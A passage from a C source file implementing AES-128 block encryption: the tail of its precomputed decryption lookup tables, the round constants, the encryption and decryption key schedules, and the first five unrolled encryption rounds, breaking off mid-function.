0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
|
||||
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
|
||||
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
|
||||
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
|
||||
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
|
||||
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
|
||||
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
|
||||
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
|
||||
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
|
||||
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
|
||||
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
|
||||
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
|
||||
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
|
||||
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
|
||||
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
|
||||
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
|
||||
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
|
||||
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
|
||||
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
|
||||
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
|
||||
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
|
||||
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
|
||||
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
|
||||
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
|
||||
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
|
||||
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
|
||||
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
|
||||
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
|
||||
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
|
||||
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
|
||||
};
|
||||
|
||||
static const unsigned int Td2[256] =
|
||||
{
|
||||
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
|
||||
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
|
||||
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
|
||||
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
|
||||
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
|
||||
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
|
||||
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
|
||||
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
|
||||
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
|
||||
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
|
||||
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
|
||||
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
|
||||
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
|
||||
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
|
||||
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
|
||||
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
|
||||
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
|
||||
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
|
||||
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
|
||||
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
|
||||
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
|
||||
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
|
||||
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
|
||||
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
|
||||
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
|
||||
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
|
||||
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
|
||||
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
|
||||
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
|
||||
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
|
||||
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
|
||||
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
|
||||
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
|
||||
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
|
||||
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
|
||||
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
|
||||
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
|
||||
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
|
||||
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
|
||||
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
|
||||
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
|
||||
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
|
||||
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
|
||||
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
|
||||
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
|
||||
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
|
||||
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
|
||||
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
|
||||
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
|
||||
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
|
||||
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
|
||||
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
|
||||
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
|
||||
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
|
||||
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
|
||||
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
|
||||
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
|
||||
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
|
||||
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
|
||||
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
|
||||
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
|
||||
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
|
||||
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
|
||||
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
|
||||
};
|
||||
|
||||
static const unsigned int Td3[256] =
|
||||
{
|
||||
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
|
||||
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
|
||||
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
|
||||
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
|
||||
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
|
||||
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
|
||||
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
|
||||
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
|
||||
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
|
||||
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
|
||||
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
|
||||
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
|
||||
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
|
||||
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
|
||||
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
|
||||
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
|
||||
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
|
||||
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
|
||||
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
|
||||
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
|
||||
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
|
||||
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
|
||||
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
|
||||
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
|
||||
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
|
||||
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
|
||||
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
|
||||
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
|
||||
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
|
||||
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
|
||||
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
|
||||
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
|
||||
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
|
||||
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
|
||||
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
|
||||
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
|
||||
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
|
||||
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
|
||||
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
|
||||
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
|
||||
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
|
||||
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
|
||||
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
|
||||
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
|
||||
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
|
||||
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
|
||||
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
|
||||
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
|
||||
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
|
||||
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
|
||||
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
|
||||
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
|
||||
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
|
||||
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
|
||||
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
|
||||
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
|
||||
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
|
||||
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
|
||||
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
|
||||
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
|
||||
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
|
||||
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
|
||||
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
|
||||
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
|
||||
};
|
||||
|
||||
static const unsigned int Td4[256] =
|
||||
{
|
||||
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
|
||||
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
|
||||
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
|
||||
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
|
||||
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
|
||||
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
|
||||
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
|
||||
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
|
||||
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
|
||||
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
|
||||
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
|
||||
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
|
||||
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
|
||||
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
|
||||
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
|
||||
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
|
||||
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
|
||||
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
|
||||
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
|
||||
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
|
||||
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
|
||||
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
|
||||
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
|
||||
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
|
||||
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
|
||||
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
|
||||
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
|
||||
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
|
||||
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
|
||||
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
|
||||
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
|
||||
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
|
||||
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
|
||||
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
|
||||
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
|
||||
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
|
||||
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
|
||||
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
|
||||
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
|
||||
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
|
||||
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
|
||||
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
|
||||
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
|
||||
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
|
||||
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
|
||||
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
|
||||
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
|
||||
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
|
||||
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
|
||||
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
|
||||
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
|
||||
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
|
||||
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
|
||||
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
|
||||
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
|
||||
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
|
||||
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
|
||||
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
|
||||
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
|
||||
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
|
||||
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
|
||||
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
|
||||
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
|
||||
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
|
||||
};
|
||||
|
||||
static const unsigned int rcon[10] = {
|
||||
0x01000000, 0x02000000, 0x04000000, 0x08000000,
|
||||
0x10000000, 0x20000000, 0x40000000, 0x80000000,
|
||||
0x1B000000, 0x36000000
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
unsigned int roundkey[44];
|
||||
unsigned int iv[4];
|
||||
} AES_CTX;
|
||||
|
||||
static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
ctx->roundkey[0] = GETU32(key + 0);
|
||||
ctx->roundkey[1] = GETU32(key + 4);
|
||||
ctx->roundkey[2] = GETU32(key + 8);
|
||||
ctx->roundkey[3] = GETU32(key + 12);
|
||||
|
||||
ctx->iv[0] = GETU32(iv + 0);
|
||||
ctx->iv[1] = GETU32(iv + 4);
|
||||
ctx->iv[2] = GETU32(iv + 8);
|
||||
ctx->iv[3] = GETU32(iv + 12);
|
||||
|
||||
for (unsigned char index = 4; index < 44; index += 4) {
|
||||
ctx->roundkey[index] = ctx->roundkey[index - 4] ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1];
|
||||
ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index];
|
||||
ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1];
|
||||
ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
AES_EncryptInit(ctx, key, iv);
|
||||
|
||||
unsigned int temp;
|
||||
|
||||
// Next, invert the order of the round keys.
|
||||
for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) {
|
||||
for (uint8_t k = 0; k < 4; k++) {
|
||||
temp = ctx->roundkey[i + k];
|
||||
ctx->roundkey[i + k] = ctx->roundkey[j + k];
|
||||
ctx->roundkey[j + k] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
// Finally, apply the inverse MixColumn transform to all round keys except the first and last.
|
||||
for (unsigned char index = 4; index < 40; index += 4) {
|
||||
ctx->roundkey[index] =
|
||||
Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 1] =
|
||||
Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 2] =
|
||||
Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 3] =
|
||||
Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
// Initial round
|
||||
s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3];
|
||||
|
||||
// round 1
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
